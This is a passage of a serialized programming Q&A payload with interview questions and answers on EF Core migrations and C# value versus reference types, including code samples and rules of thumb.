EnsureCreated for dev\u002Ftest (no migrations at all):\nawait db.Database.EnsureCreatedAsync();\n\u002F\u002F Creates schema from the current model snapshot — no migration history.\n\u002F\u002F Useful in tests; NOT a replacement for migrations in production.\n```\n\n**Rule of thumb:** Squash migrations when the history is unwieldy (50+ migrations)\nOR when you want a clean baseline after a major refactor. Coordinate with all\nenvironments before squashing — every DB must be at the latest migration first.\n",{"id":960,"difficulty":96,"q":961,"a":962},"ef-generated-sql","How do you inspect the SQL that EF Core migration commands generate?","EF Core provides several ways to preview SQL before applying it — critical for\ncatching unexpected schema changes in production.\n\n```bash\n# Script the migration instead of applying it:\ndotnet ef migrations script                    # all migrations → SQL file\ndotnet ef migrations script FromMigration ToMigration  # range\n\n# Idempotent script (safe to run multiple times):\ndotnet ef migrations script --idempotent\n# Wraps each migration in IF NOT EXISTS checks against __EFMigrationsHistory\n\n# Preview what update would do (no DB changes):\ndotnet ef database update --dry-run           # prints SQL, doesn't execute\n```\n\n```csharp\n\u002F\u002F Log all generated SQL at runtime via EF Core logging:\nbuilder.Services.AddDbContext\u003CAppDbContext>(options =>\n    options\n        .UseSqlServer(connectionString)\n        .LogTo(Console.WriteLine, LogLevel.Information)    \u002F\u002F all EF logs\n        .EnableSensitiveDataLogging());                    \u002F\u002F include param values\n\n\u002F\u002F Or capture in a StringBuilder for tests:\nvar log = new StringBuilder();\noptions.LogTo(msg => log.AppendLine(msg), LogLevel.Information);\n```\n\n**Rule of thumb:** Always run `dotnet ef migrations script --idempotent` in CI\nand review the output before applying to staging or production. Never apply a\nmigration you haven't read.\n",{"id":964,"difficulty":96,"q":965,"a":966},"ef-multiple-dbcontexts","How do you manage multiple DbContexts in one application?","Some applications split concerns across multiple `DbContext` types — for example,\nseparate contexts for the main domain and for identity management. Each needs its\nown migration history table.\n\n```csharp\n\u002F\u002F Two separate contexts — each with its own schema area:\npublic class AppDbContext : DbContext\n{\n    public DbSet\u003COrder> Orders { get; set; }\n    public DbSet\u003CProduct> Products { get; set; }\n}\n\npublic class IdentityDbContext : IdentityDbContext\u003CApplicationUser>\n{\n    \u002F\u002F ASP.NET Core Identity tables (AspNetUsers, AspNetRoles, etc.)\n}\n\n\u002F\u002F Register both:\nbuilder.Services.AddDbContext\u003CAppDbContext>(o =>\n    o.UseSqlServer(connectionString));\n\nbuilder.Services.AddDbContext\u003CIdentityDbContext>(o =>\n    o.UseSqlServer(connectionString));\n\n\u002F\u002F Separate migration history tables to avoid conflicts:\nprotected override void OnModelCreating(ModelBuilder mb)\n{\n    mb.HasDefaultSchema(\"identity\"); \u002F\u002F or use MigrationsHistoryTable\n}\n\n\u002F\u002F Or configure explicitly:\noptions.UseSqlServer(conn, sql =>\n    sql.MigrationsHistoryTable(\"__IdentityMigrationsHistory\", \"identity\"));\n```\n\n```bash\n# Run migrations per context:\ndotnet ef migrations add InitialCreate --context AppDbContext\ndotnet ef migrations add IdentityInit   --context IdentityDbContext\n\ndotnet ef database update --context AppDbContext\ndotnet ef database update --context IdentityDbContext\n```\n\n**Rule of thumb:** Use separate `DbContext` types for bounded contexts or separate\ninfrastructure concerns (identity, tenancy, auditing). Always configure distinct\n`MigrationsHistoryTable` names to prevent migration conflicts.\n",{"id":968,"difficulty":104,"q":969,"a":970},"ef-ensure-created-vs-migrate","What is the difference between EnsureCreated and MigrateAsync?","**`EnsureCreated`** creates the database schema from the current EF model snapshot in\none step — no migration files involved. **`MigrateAsync`** applies versioned migration\nfiles in order and records them in `__EFMigrationsHistory`.\n\n```csharp\n\u002F\u002F EnsureCreated — creates schema if the DB doesn't exist; no-op if it does:\nawait db.Database.EnsureCreatedAsync();\n\u002F\u002F Good for: unit\u002Fintegration tests, quick prototyping, in-memory database\n\u002F\u002F Bad for: production — bypasses migrations; EF can't diff or evolve the schema later\n\n\u002F\u002F MigrateAsync — applies all pending migrations in order; idempotent:\nawait db.Database.MigrateAsync();\n\u002F\u002F Good for: production, staging, CI — schema is versioned and repeatable\n\u002F\u002F Requires migration files to exist first (dotnet ef migrations add)\n\n\u002F\u002F Critical incompatibility:\n\u002F\u002F If you call EnsureCreated on a database, then later switch to migrations,\n\u002F\u002F MigrateAsync fails — the schema exists but __EFMigrationsHistory is empty.\n\u002F\u002F EF thinks migrations haven't been applied and tries to re-create tables → error.\n\n\u002F\u002F Test setup pattern — EnsureCreated is fine because tests always start fresh:\npublic class TestFixture : IAsyncLifetime\n{\n    private readonly AppDbContext _db;\n\n    public async Task InitializeAsync()\n    {\n        await _db.Database.EnsureDeletedAsync(); \u002F\u002F clean slate\n        await _db.Database.EnsureCreatedAsync(); \u002F\u002F schema from model snapshot\n    }\n\n    public async Task DisposeAsync()\n        => await _db.Database.EnsureDeletedAsync();\n}\n```\n\n**Rule of thumb:** Use `EnsureCreated` only in tests or demos with an in-memory or\nSQLite database. Use `MigrateAsync` everywhere else — it's the only approach that\nsupports schema evolution without data loss.\n",{"id":972,"difficulty":206,"q":973,"a":974},"ef-pending-model-changes","How do you detect and prevent model\u002Fmigration drift in CI?","**Model\u002Fmigration drift** occurs when the model changes but no migration is added,\nmeaning the deployed schema won't match the running code. Detecting this in CI\nprevents production failures.\n\n```bash\n# EF Core 8+ — dotnet ef migrations has-pending-model-changes exits non-zero\n# if the model snapshot differs from the current model (no migration was generated):\ndotnet ef migrations has-pending-model-changes \\\n    --project MyApp.Data \\\n    --startup-project MyApp.Api\n\n# CI step (GitHub Actions \u002F bash):\nif ! dotnet ef migrations has-pending-model-changes ...; then\n    echo \"ERROR: Model changed without a migration. Run 'dotnet ef migrations add'.\"\n    exit 1\nfi\n```\n\n```csharp\n\u002F\u002F At startup — warn if any migration is pending (alternative CI check):\nvar pending = await db.Database.GetPendingMigrationsAsync();\nif (pending.Any())\n    throw new InvalidOperationException(\n        $\"Database has {pending.Count()} pending migration(s). Run MigrateAsync or apply the bundle.\");\n\n\u002F\u002F Integration test guard:\n[Fact]\npublic void NoUnappliedMigrations()\n{\n    using var db = CreateTestContext();\n    db.Database.Migrate();\n    var pending = db.Database.GetPendingMigrations();\n    Assert.Empty(pending);\n}\n```\n\n**Rule of thumb:** Add `dotnet ef migrations has-pending-model-changes` as a CI step.\nGate merges on a clean result — a model change without a migration is a production outage\nwaiting to happen.\n",{"id":976,"difficulty":96,"q":977,"a":978},"ef-migrations-transactions","Are EF Core migrations applied inside a database transaction?","By default, each migration's `Up` method runs inside its own **database transaction**,\nso a failing migration is rolled back cleanly. However, some DDL statements are\nnon-transactional on certain databases (SQL Server: `CREATE DATABASE`, `ALTER DATABASE`;\nPostgreSQL: certain index operations).\n\n```csharp\n\u002F\u002F Default behaviour — each migration is wrapped automatically:\npublic partial class AddOrderStatusColumn : Migration\n{\n    \u002F\u002F EF Core wraps this Up() in a transaction unless you suppress it:\n    protected override void Up(MigrationBuilder migrationBuilder)\n    {\n        migrationBuilder.AddColumn\u003Cstring>(\n            name: \"Status\",\n            table: \"Orders\",\n            type: \"nvarchar(50)\",\n            nullable: false,\n            defaultValue: \"Pending\");\n    }\n\n    \u002F\u002F Opt out of the transaction for this migration (e.g., CREATE INDEX CONCURRENTLY on Postgres):\n    protected override void Up(MigrationBuilder migrationBuilder)\n    {\n        migrationBuilder.Sql(\n            \"CREATE INDEX CONCURRENTLY IX_Orders_Status ON Orders(Status);\",\n            suppressTransaction: true); \u002F\u002F run outside a transaction\n    }\n}\n\n\u002F\u002F Apply without wrapping migrations in transactions (bundle flag):\n\u002F\u002F .\u002Fmigrate --no-transactions\n\n\u002F\u002F Manual transaction via MigrationBuilder.BeginTransaction is not available —\n\u002F\u002F the framework controls the transaction boundary. Use suppressTransaction: true\n\u002F\u002F only for statements that cannot run inside a transaction.\n```\n\nPartial migration failure in production:\n- If the migration throws after some statements but inside the EF transaction, the DB is rolled back.\n- If `suppressTransaction: true` statements fail, the DB is left in a partial state — you must fix\n  and rerun manually. Always script `--idempotent` SQL before running these.\n\n**Rule of thumb:** Rely on EF's default transaction wrapping. Use `suppressTransaction: true`\nonly for database-specific statements that explicitly forbid transactions. Test those migrations\non a staging clone before production.\n",{"id":980,"difficulty":96,"q":981,"a":982},"ef-migration-columns-rename","How do you rename a column in an EF Core migration without losing data?","EF Core's `RenameColumn` migrates column names without dropping and recreating them,\npreserving existing data. Without it, EF would generate a `DropColumn` + `AddColumn`\npair, which deletes the data in that column.\n\n```csharp\n\u002F\u002F Step 1 — rename the property in the entity class:\npublic class Customer\n{\n    public int Id { get; set; }\n    \u002F\u002F Before: public string FullName { get; set; } = \"\";\n    public string DisplayName { get; set; } = \"\";  \u002F\u002F renamed property\n}\n\n\u002F\u002F Step 2 — generate the migration:\n\u002F\u002F dotnet ef migrations add RenameCustomerDisplayName\n\n\u002F\u002F The auto-generated migration MAY produce DropColumn + AddColumn (data loss!):\n\u002F\u002F Fix it manually to use RenameColumn instead:\npublic partial class RenameCustomerDisplayName : Migration\n{\n    protected override void Up(MigrationBuilder migrationBuilder)\n    {\n        \u002F\u002F Safe — preserves column data:\n        migrationBuilder.RenameColumn(\n            name: \"FullName\",\n            table: \"Customers\",\n            newName: \"DisplayName\");\n    }\n\n    protected override void Down(MigrationBuilder migrationBuilder)\n    {\n        migrationBuilder.RenameColumn(\n            name: \"DisplayName\",\n            table: \"Customers\",\n            newName: \"FullName\");\n    }\n}\n\n\u002F\u002F Step 3 — map the new column name to the property if needed:\nmodelBuilder.Entity\u003CCustomer>()\n    .Property(c => c.DisplayName)\n    .HasColumnName(\"DisplayName\"); \u002F\u002F explicit; EF derives it from property name by default\n```\n\n**Rule of thumb:** Always inspect auto-generated migrations before applying them.\nWhen renaming a column, replace any `DropColumn`\u002F`AddColumn` pair with a single\n`RenameColumn` call to avoid silent data loss.\n",{"id":984,"difficulty":206,"q":985,"a":986},"ef-migration-separate-assembly","How do you put EF Core migrations in a separate assembly from the DbContext?","Placing migrations in a dedicated assembly (e.g., `MyApp.Migrations`) keeps the\ndata layer clean and allows independent versioning. It requires configuring both\nthe `MigrationsAssembly` option and a design-time factory.\n\n```csharp\n\u002F\u002F Project layout:\n\u002F\u002F MyApp.Data        — contains AppDbContext, entity configs\n\u002F\u002F MyApp.Migrations  — contains only migration files\n\u002F\u002F MyApp.Api         — startup project\n\n\u002F\u002F In MyApp.Api Program.cs — tell EF where migrations live:\nbuilder.Services.AddDbContext\u003CAppDbContext>(options =>\n    options.UseSqlServer(\n        connectionString,\n        sql => sql.MigrationsAssembly(\"MyApp.Migrations\"))); \u002F\u002F assembly name\n\n\u002F\u002F In MyApp.Migrations — design-time factory so dotnet ef can build the context:\npublic class AppDbContextFactory : IDesignTimeDbContextFactory\u003CAppDbContext>\n{\n    public AppDbContext CreateDbContext(string[] args)\n    {\n        var config = new ConfigurationBuilder()\n            .SetBasePath(Directory.GetCurrentDirectory())\n            .AddJsonFile(\"appsettings.json\", optional: true)\n            .AddEnvironmentVariables()\n            .Build();\n\n        var opts = new DbContextOptionsBuilder\u003CAppDbContext>()\n            .UseSqlServer(\n                config.GetConnectionString(\"Default\"),\n                sql => sql.MigrationsAssembly(\"MyApp.Migrations\"))\n            .Options;\n\n        return new AppDbContext(opts);\n    }\n}\n```\n\n```bash\n# Generate a migration — target MyApp.Migrations, startup project MyApp.Api:\ndotnet ef migrations add InitialCreate \\\n    --project MyApp.Migrations \\\n    --startup-project MyApp.Api \\\n    --context AppDbContext\n\n# Apply:\ndotnet ef database update \\\n    --project MyApp.Migrations \\\n    --startup-project MyApp.Api\n```\n\n**Rule of thumb:** Move migrations to a separate assembly for large solutions where\nthe data layer is shared across multiple apps (e.g., web API + background worker).\nAlways keep `MigrationsAssembly` in sync between runtime registration and the\ndesign-time factory.\n",{"description":94},"EF Core migrations interview questions — Add-Migration, Up\u002FDown methods, MigrateAsync, migration bundles, seeding, and rollback strategies.","dotnet\u002Fentity-framework\u002Fmigrations","oMk5ZPvNRmGINCgzvsO_Xl5h7BqSVTuHIEWmeHTbRYg",{"id":992,"title":993,"body":994,"description":94,"difficulty":96,"extension":97,"framework":10,"frameworkSlug":8,"meta":998,"navigation":99,"order":29,"path":999,"questions":1000,"questionsCount":163,"related":164,"seo":1061,"seoDescription":1062,"stem":1063,"subtopic":1064,"topic":20,"topicSlug":21,"updated":470,"__hash__":1065},"qa\u002Fdotnet\u002Ffundamentals\u002Fvalue-vs-reference-types.md","Value Vs Reference Types",{"type":91,"value":995,"toc":996},[],{"title":94,"searchDepth":29,"depth":29,"links":997},[],{},"\u002Fdotnet\u002Ffundamentals\u002Fvalue-vs-reference-types",[1001,1005,1009,1013,1017,1021,1025,1029,1033,1037,1041,1045,1049,1053,1057],{"id":1002,"difficulty":104,"q":1003,"a":1004},"value-vs-reference-basics","What is the difference between value types and reference types in C#?","**Value types** hold their data directly. **Reference types** hold a pointer (reference)\nto data stored on the managed heap. Assigning a value type copies the data; assigning\na reference type copies only the reference — both variables then point to the same object.\n\n```csharp\n\u002F\u002F Value type — copy semantics\nint a = 5;\nint b = a;   \u002F\u002F b gets a copy of 5\nb = 99;\nConsole.WriteLine(a); \u002F\u002F 5 — a is unaffected\n\n\u002F\u002F Reference type — shared reference\nvar list1 = new List\u003Cint> { 1, 2, 3 };\nvar list2 = list1;   \u002F\u002F list2 points to the SAME list\nlist2.Add(4);\nConsole.WriteLine(list1.Count); \u002F\u002F 4 — list1 sees the change\n```\n\nValue types: `int`, `double`, `bool`, `char`, `decimal`, `DateTime`, `struct`, `enum`.\nReference types: `class`, `string`, `object`, arrays, delegates, interfaces.\n`string` behaves like a value type in practice because it is **immutable** — any\n\"change\" creates a new string object.\n\n**Rule of thumb:** If you need copy-on-assign semantics and the data is small and\nshort-lived, use a value type (struct). For anything polymorphic, large, or long-lived,\nuse a class.\n",{"id":1006,"difficulty":96,"q":1007,"a":1008},"stack-vs-heap-storage","Where are value types and reference types stored in memory?","The common interview answer — \"value types on the stack, reference types on the heap\"\n— is an oversimplification. What matters is **how the variable is declared**.\n\n```csharp\nvoid Method()\n{\n    int x = 10;             \u002F\u002F local value type → stack frame\n    object obj = new();     \u002F\u002F 'new object' → heap; reference 'obj' → stack\n}\n\nclass Wrapper\n{\n    int field = 42;         \u002F\u002F value type field inside a class → HEAP (embedded in the object)\n    string name = \"hello\";  \u002F\u002F reference type field → heap (reference stored in object, string on heap)\n}\n\n\u002F\u002F Struct stored as a field of a class lives on the heap inside the class:\nclass Circle { public System.Drawing.Point Center; } \u002F\u002F Point (struct) is on heap\n```\n\nLocal variables of value types live on the **stack** of the current method frame.\nValue type **fields inside a class** live on the **heap** as part of the object.\nReference types always allocate their data on the **heap**; the variable (reference)\nitself can be on either stack or heap depending on context.\n\n**Rule of thumb:** Think \"where is the variable declared?\" not \"what type is it?\" —\nthe location follows the container, not the type.\n",{"id":1010,"difficulty":96,"q":1011,"a":1012},"boxing-unboxing","What is boxing and unboxing, and why is it a performance concern?","**Boxing** wraps a value type in a heap-allocated `System.Object` wrapper. **Unboxing**\nextracts the value type back out. Both operations are implicit but incur hidden costs.\n\n```csharp\nint x = 42;\nobject boxed = x;         \u002F\u002F BOXING: heap allocation + copy\nint unboxed = (int)boxed; \u002F\u002F UNBOXING: type check + copy\n\n\u002F\u002F Hidden boxing in older APIs:\nvar al = new ArrayList();\nal.Add(42);               \u002F\u002F boxes 42 to object — heap allocation!\nint v = (int)al[0];       \u002F\u002F unboxes — type check + copy\n\n\u002F\u002F Generic collections avoid boxing entirely:\nvar list = new List\u003Cint>();\nlist.Add(42);             \u002F\u002F no boxing — int stored directly\nint v2 = list[0];         \u002F\u002F no unboxing\n```\n\nBoxing costs: a **heap allocation**, a **memory copy**, and eventual **GC pressure**.\nIn a tight loop adding thousands of ints to an `ArrayList`, this adds up significantly.\nString interpolation pre-.NET 6 also caused boxing for value types passed as `object`.\nThe fix is always **generics** — `List\u003Cint>` instead of `ArrayList`, `IComparable\u003CT>`\ninstead of `IComparable`.\n\n**Rule of thumb:** Avoid boxing in hot paths. If you see `object` parameters or\nnon-generic collections in performance-sensitive code, that's a boxing smell.\n",{"id":1014,"difficulty":104,"q":1015,"a":1016},"struct-vs-class","What is the difference between a struct and a class in C#?","A **struct** is a value type; a **class** is a reference type. The difference\ndetermines copy semantics, memory layout, inheritance rules, and GC behavior.\n\n```csharp\nstruct Point { public int X, Y; }   \u002F\u002F value type\nclass Circle { public int Radius; } \u002F\u002F reference type\n\nvar p1 = new Point { X = 1, Y = 2 };\nvar p2 = p1;   \u002F\u002F copy — p2 is independent\np2.X = 99;\nConsole.WriteLine(p1.X); \u002F\u002F 1 — unaffected\n\nvar c1 = new Circle { Radius = 5 };\nvar c2 = c1;   \u002F\u002F shared reference\nc2.Radius = 99;\nConsole.WriteLine(c1.Radius); \u002F\u002F 99 — both see the change\n```\n\nKey differences:\n| | struct | class |\n|---|---|---|\n| Type | Value type | Reference type |\n| Default | Zero-initialised, no null | null |\n| Inheritance | Cannot inherit (can implement interfaces) | Full inheritance |\n| `new` | Stack-allocated (if local) | Always heap-allocated |\n| `IDisposable` | Valid but uncommon | Common |\n\n**Rule of thumb:** Use struct for small (≤16 bytes), immutable, logically\nvalue-like data (coordinates, colours, `Guid`). Use class for everything else.\n",{"id":1018,"difficulty":96,"q":1019,"a":1020},"when-to-use-struct","When should you use a struct instead of a class?","Prefer a **struct** when the type is small, immutable, frequently copied in bulk\n(e.g., array of coordinates), and semantically represents a single value rather\nthan an entity with identity.\n\n```csharp\n\u002F\u002F Good struct candidate: small, immutable, value semantics\nreadonly struct Vector2\n{\n    public readonly float X, Y;\n    public Vector2(float x, float y) => (X, Y) = (x, y);\n    public float Length => MathF.Sqrt(X * X + Y * Y);\n}\n\n\u002F\u002F Bad struct candidate: large, mutable, reference identity matters\n\u002F\u002F struct HttpClient { ... } \u002F\u002F wrong — should be class\n```\n\nThe CLR can lay out arrays of structs as contiguous memory blocks, which is\nCPU-cache-friendly — a big win for game engines and numerical code. The .NET\nframework uses structs for: `int`, `DateTime`, `Guid`, `KeyValuePair\u003CK,V>`,\n`System.Numerics.Vector3`, and `Span\u003CT>`.\n\nAvoid structs when: the type is larger than ~16 bytes (copying costs outweigh\nallocation savings), it is mutable (mutation bugs are hard to spot with copy\nsemantics), or it needs to be null (use `T?` or a class).\n\n**Rule of thumb:** Default to class. Switch to struct only when profiling shows\nGC pressure from many small, short-lived objects of that type.\n",{"id":1022,"difficulty":96,"q":1023,"a":1024},"pass-by-value","What does \"pass by value\" mean in C#, and how does it apply to reference types?","In C#, **all arguments are passed by value by default** — a copy of the argument\nis made. For value types, the copy is the data itself. For reference types, the\ncopy is the **reference** (pointer), not the object it points to.\n\n```csharp\nvoid MutateList(List\u003Cint> list)\n{\n    list.Add(99);     \u002F\u002F mutates the shared object — caller sees this\n    list = new List\u003Cint>(); \u002F\u002F rebinds local copy of reference — caller doesn't see this\n}\n\nvar nums = new List\u003Cint> { 1, 2 };\nMutateList(nums);\nConsole.WriteLine(nums.Count); \u002F\u002F 3 — Add(99) was visible; reassignment was not\n```\n\n\"Pass by value\" for reference types means the reference is copied. Both the caller\nand callee hold separate copies of the reference that point to the same object.\nMutating the object through the callee's reference is visible to the caller.\nReassigning the callee's reference variable does not affect the caller.\n\n**Rule of thumb:** Pass by value = copy of the handle, not the object. If you need\nto replace the caller's reference itself, use `ref` or return the new value.\n",{"id":1026,"difficulty":96,"q":1027,"a":1028},"ref-keyword","What does the `ref` keyword do when passing parameters?","The `ref` keyword passes a variable **by reference** — the method receives an alias\nto the caller's variable, not a copy. Changes to the parameter directly modify the\ncaller's variable, including reassignment.\n\n```csharp\nvoid Double(ref int value) => value *= 2;\n\nint x = 5;\nDouble(ref x);           \u002F\u002F must use 'ref' at call site too\nConsole.WriteLine(x);   \u002F\u002F 10 — x was modified in-place\n\n\u002F\u002F ref with reference types — can replace the caller's reference:\nvoid ReplaceList(ref List\u003Cint> list)\n{\n    list = new List\u003Cint> { 99 }; \u002F\u002F caller's variable now points to new list\n}\n\nvar nums = new List\u003Cint> { 1, 2 };\nReplaceList(ref nums);\nConsole.WriteLine(nums[0]); \u002F\u002F 99\n```\n\n`ref` is commonly used in high-performance code to avoid copying large structs,\nin `TryGetValue`-style patterns, and in `ref return` \u002F `ref local` to expose\nreferences into arrays or data structures without copying.\n\n**Rule of thumb:** Use `ref` when the method needs to reassign the caller's variable,\nor to avoid copying large structs in performance-critical code.\n",{"id":1030,"difficulty":104,"q":1031,"a":1032},"out-keyword","What is the `out` parameter modifier and how does it differ from `ref`?","`out` is like `ref` — it passes by reference — but with two differences: the\nvariable does **not** need to be initialised before the call, and the method\n**must** assign it before returning.\n\n```csharp\n\u002F\u002F Classic Try-Parse pattern:\nbool success = int.TryParse(\"42\", out int result);\n\u002F\u002F 'result' was not initialised before the call — that's fine with 'out'\nConsole.WriteLine(success ? result : -1); \u002F\u002F 42\n\n\u002F\u002F Inline declaration (C# 7+):\nif (double.TryParse(\"3.14\", out double pi))\n    Console.WriteLine(pi); \u002F\u002F 3.14\n\n\u002F\u002F Discard when you don't need the out value:\nbool isValid = int.TryParse(input, out _);\n```\n\n| | `ref` | `out` |\n|---|---|---|\n| Must be initialised before call | Yes | No |\n| Must be assigned in method | No | Yes |\n| Use case | Two-way data exchange | Return multiple values |\n\n**Rule of thumb:** Use `out` for the Try-Parse \u002F Try-Get pattern where the method\nsignals success\u002Ffailure via return value and returns data via `out`. Use `ref` when\nthe method needs to read the initial value too.\n",{"id":1034,"difficulty":96,"q":1035,"a":1036},"in-keyword","What is the `in` parameter modifier in C#?","The `in` modifier passes a variable by reference but guarantees the method will\n**not modify** it — it is a **read-only reference**. This avoids copying large\nstructs while providing compile-time safety that the callee cannot mutate.\n\n```csharp\nreadonly struct Matrix4x4 { \u002F* 64 bytes *\u002F }\n\n\u002F\u002F Without 'in': 64-byte copy on every call\nfloat Determinant(Matrix4x4 m) => \u002F* ... *\u002F 0f;\n\n\u002F\u002F With 'in': passed by reference, no copy, callee cannot mutate\nfloat Determinant(in Matrix4x4 m) => \u002F* ... *\u002F 0f;\n\nvar mat = new Matrix4x4();\nfloat det = Determinant(in mat); \u002F\u002F 'in' optional at call site for value types\n```\n\n`in` is most valuable for **large structs** in hot paths (rendering, physics,\nlinear algebra). For small structs (≤pointer size), it may actually be slower\nbecause the CPU must dereference the pointer. Benchmark before adding `in` to\nsmall structs.\n\n**Rule of thumb:** Add `in` to struct parameters larger than a pointer (8 bytes\non 64-bit) in performance-sensitive code. Leave it off for small structs and all\nreference types (reference types already pass the pointer, not the object).\n",{"id":1038,"difficulty":206,"q":1039,"a":1040},"ref-struct","What is a `ref struct` in C#?","A `ref struct` is a struct that is **guaranteed to live only on the stack**. The\nCLR enforces this at compile time — you cannot box it, store it as a class field,\nuse it as a generic type argument, or capture it in a lambda or async method.\n\n```csharp\nref struct StackOnly\n{\n    public int Value;\n}\n\n\u002F\u002F Compile-time error — cannot box a ref struct:\n\u002F\u002F object obj = new StackOnly();\n\u002F\u002F Cannot be a field of a class:\n\u002F\u002F class Wrapper { StackOnly s; }\n\u002F\u002F Cannot use in async context:\n\u002F\u002F async Task Foo() { var s = new StackOnly(); await Task.Delay(1); }\n\u002F\u002F Correct use — short-lived, stack-bound:\nvoid Process(Span\u003Cbyte> data)\n{\n    \u002F\u002F Span\u003CT> is itself a ref struct — stack-only\n    var slice = data[..10]; \u002F\u002F fine: slice is also Span\u003CT> (ref struct)\n}\n```\n\nThe primary use case is `Span\u003CT>` and `ReadOnlySpan\u003CT>` — high-performance, safe\nwrappers over contiguous memory (arrays, stack memory, unmanaged memory) that must\nnot outlive their source. `ref struct` is the mechanism that enforces this lifetime.\n\n**Rule of thumb:** `ref struct` is an advanced, performance-focused feature.\nYou'll mostly encounter it as `Span\u003CT>`. Only define your own when you need a\nstack-bound type with lifetime guarantees.\n",{"id":1042,"difficulty":206,"q":1043,"a":1044},"span-t","What is `Span\u003CT>` and why is it a `ref struct`?","`Span\u003CT>` is a **stack-only, type-safe view over a contiguous block of memory**.\nIt can point to a managed array, a stack-allocated buffer, or unmanaged memory —\nwithout copying any data.\n\n```csharp\n\u002F\u002F Over a managed array — no copy:\nint[] arr = { 1, 2, 3, 4, 5 };\nSpan\u003Cint> span = arr.AsSpan(1, 3); \u002F\u002F points to arr[1..3] = {2, 3, 4}\nspan[0] = 99;\nConsole.WriteLine(arr[1]); \u002F\u002F 99 — same memory\n\n\u002F\u002F Stack-allocated buffer — zero heap allocation:\nSpan\u003Cbyte> buffer = stackalloc byte[256];\nbuffer.Fill(0);\n\n\u002F\u002F String parsing without allocations (ReadOnlySpan\u003Cchar>):\nReadOnlySpan\u003Cchar> line = \"2026-06-22\".AsSpan();\nint year = int.Parse(line[..4]); \u002F\u002F parses \"2026\" without allocating a substring\n```\n\n`Span\u003CT>` is a `ref struct` because it stores an interior pointer into managed\nmemory. If it were allowed on the heap (as a class field or boxed value), the GC\ncould move the pointed-to array while the span's pointer still held the old address.\nBeing stack-only ensures the span is always used within the lifetime of its source.\n\n**Rule of thumb:** Use `Span\u003CT>` \u002F `ReadOnlySpan\u003CT>` to eliminate string and array\nslice allocations in hot paths. It is the .NET replacement for `char*` \u002F `byte*` unsafe pointers.\n",{"id":1046,"difficulty":104,"q":1047,"a":1048},"equality-value-vs-reference","How does equality work differently for value types vs reference types in C#?","By default, **value types** compare by content (structural equality); **reference\ntypes** compare by identity (same object in memory). This comes from how `Equals()`\nand `==` are implemented on `System.ValueType` vs `System.Object`.\n\n```csharp\n\u002F\u002F Value type — structural equality by default:\nvar d1 = new DateTime(2026, 1, 1);\nvar d2 = new DateTime(2026, 1, 1);\nConsole.WriteLine(d1 == d2);      \u002F\u002F True — same data\nConsole.WriteLine(d1.Equals(d2)); \u002F\u002F True\n\n\u002F\u002F Reference type — identity equality by default:\nvar p1 = new Person { Name = \"Alice\" };\nvar p2 = new Person { Name = \"Alice\" };\nConsole.WriteLine(p1 == p2);      \u002F\u002F False — different objects\nConsole.WriteLine(p1.Equals(p2)); \u002F\u002F False (unless Equals is overridden)\n\n\u002F\u002F string is a reference type but overrides == for value equality:\nstring s1 = \"hello\", s2 = \"hello\";\nConsole.WriteLine(s1 == s2); \u002F\u002F True — string overrides ==\n```\n\nTo get value equality on a class, override `Equals()` and `GetHashCode()`, and\noptionally overload `==`. **C# 9 records** do this automatically.\n\n**Rule of thumb:** Value types are equal when their data is equal. Reference types\nare equal when they are the same object — override `Equals`\u002F`GetHashCode` to change\nthat, or use a `record` which auto-generates value equality.\n",{"id":1050,"difficulty":96,"q":1051,"a":1052},"readonly-struct","What is a `readonly struct` in C# and when should you use it?","A `readonly struct` is a struct where all fields and auto-properties are implicitly\nread-only. The compiler enforces immutability: you cannot assign to any field after\nconstruction, and calling instance methods on a `readonly struct` variable does not\nrequire a defensive copy.\n\n```csharp\nreadonly struct Temperature\n{\n    public double Celsius { get; }\n    public double Fahrenheit => Celsius * 9 \u002F 5 + 32;\n\n    public Temperature(double celsius) => Celsius = celsius;\n\n    \u002F\u002F Compiler error if you try:\n    \u002F\u002F public void SetCelsius(double c) { Celsius = c; } \u002F\u002F CS1604\n}\n\n\u002F\u002F The compiler no longer emits a defensive copy when calling methods:\nreadonly Temperature t = new Temperature(100);\nConsole.WriteLine(t.Fahrenheit); \u002F\u002F 212 — no defensive copy needed\n```\n\nWithout `readonly`, calling any instance method on a `readonly` local or `in`\nparameter forces the compiler to copy the struct defensively (because the method\nmight mutate it). `readonly struct` removes that copy entirely, which matters for\nhot loops with large structs.\n\n**Rule of thumb:** Mark structs `readonly` whenever all their state is set in the\nconstructor and never mutated. Combine with `in` parameters and `ref readonly`\nreturns for maximum zero-copy performance.\n",{"id":1054,"difficulty":96,"q":1055,"a":1056},"record-types","What are record types in C# and how do they relate to value vs reference type semantics?","**Records** (C# 9+) are a special class or struct syntax that automatically generates\nvalue-based equality, a `ToString()` implementation, and deconstruction. By default,\n`record` (without `struct`) is a **reference type** but behaves with value semantics\nfor equality.\n\n```csharp\n\u002F\u002F record class (C# 9) — reference type with value equality\nrecord Person(string Name, int Age);\n\nvar a = new Person(\"Alice\", 30);\nvar b = new Person(\"Alice\", 30);\nConsole.WriteLine(a == b);      \u002F\u002F True — value equality (generated)\nConsole.WriteLine(ReferenceEquals(a, b)); \u002F\u002F False — different objects\n\n\u002F\u002F Non-destructive mutation with 'with':\nvar older = a with { Age = 31 }; \u002F\u002F creates a new Person, copies other fields\nConsole.WriteLine(older); \u002F\u002F Person { Name = Alice, Age = 31 }\n\n\u002F\u002F record struct (C# 10) — value type with value equality\nrecord struct Point(int X, int Y);\nvar p1 = new Point(1, 2);\nvar p2 = new Point(1, 2);\nConsole.WriteLine(p1 == p2); \u002F\u002F True\n```\n\nRecords also generate a positional constructor and `Deconstruct` method from\nthe primary constructor syntax. They are ideal for DTOs, commands, events, and\nany immutable data-carrying types.\n\n**Rule of thumb:** Use `record class` for immutable reference types that need\nvalue equality (DTOs, domain events). Use `record struct` for small immutable\nvalue types. Use `class` when you need mutable state or inheritance beyond records.\n",{"id":1058,"difficulty":206,"q":1059,"a":1060},"string-interning","What is string interning in .NET and how does it relate to reference type equality?","**String interning** is a runtime optimisation where the CLR maintains a pool of\nunique string literals. When two string literals have the same content, the CLR\nmakes them reference the same object, saving memory. This can cause surprising\nresults when comparing strings with `ReferenceEquals`.\n\n```csharp\nstring a = \"hello\";\nstring b = \"hello\";\n\u002F\u002F Compile-time literal interning: a and b are the SAME object\nConsole.WriteLine(ReferenceEquals(a, b)); \u002F\u002F True — interned\n\nstring c = new string(new[] { 'h','e','l','l','o' }); \u002F\u002F runtime-constructed\nConsole.WriteLine(ReferenceEquals(a, c)); \u002F\u002F False — different object\n\n\u002F\u002F Force interning of a runtime string:\nstring d = 